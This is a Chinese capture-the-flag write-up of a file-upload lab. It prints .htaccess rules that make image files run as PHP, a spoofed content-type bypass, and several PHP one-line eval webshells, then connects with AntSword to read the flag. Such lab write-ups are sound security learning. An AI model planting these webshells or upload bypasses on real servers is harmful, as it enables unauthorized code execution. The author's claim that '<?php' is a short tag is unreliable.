打开靶场,看了一下是关于上传漏洞的

先上传一个一句话木马试试

上传失败

先试着改一下后缀,看一下是不是后缀过滤
用bp抓一下发送包到Intruder,利用php的后缀字典进行爆破尝试

尝试了一下都不行,应该是后端进行了过滤
也尝试了将php修改成png,再在bp中修改回来,也不行,可能对文件内容也进行了过滤
尝试直接上传一个webshell.png看看他的回显

可以看到文件上传成功,说明没有对文件内容进行过滤
利用 .htaccess 文件 .htaccess 是Apache服务器的分布式配置文件,可以覆盖其所在目录及子目录的配置。利用它来重新定义文件解析规则。
创建一个名为 .htaccess 的文本文件,使所有.png文件被解析为PHP。
AddType application/x-httpd-php .png
由于服务器通常也会检测 .htaccess 文件类型,直接上传会被拒,所以将这个文件抓包上传

将文件类型修改为image/png,来绕过过滤,以免被阻止

可以看到上传成功,那么接下来重新用png的格式来上传一句话木马,并将内容修改为:
GIF89a
<script language='php'>@eval($_POST['cmd']);</script>
GIF89a:图片文件头,用于绕过可能的简单内容检测
使用 <script language='php'>:有时能绕过对 <?php 标签的过滤

可以看到上传成功,接下来用蚁剑尝试连接

这里我以为是将所有.png文件解析为php不行,所以我改了个更加精确的.htaccess文件
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
让他只将shell.jpg解析为php
然后也不行,还是数据返回为空,然后我又去改了一句话木马,改成这样
GIF89a
<?php @eval($_POST['pass']);?>
还是不行,然后我看了一下别人的解析,应该是我的一句话木马有问题,但我也看到有人用这个一句话木马做出来的
别人的一句话:
<script language='php'>eval($_REQUEST[8]);</script>
然后重新上传,蚁剑测试连接成功
连接以后在根目录下找到flag
最后我查了一下,我的一句话木马问题应该是标签和变量接受方式的问题
我的是短标签并且接受方式只有post,最主要的是短标签,如果对方服务器不接受,那么我的一句话木马将当作图片处理




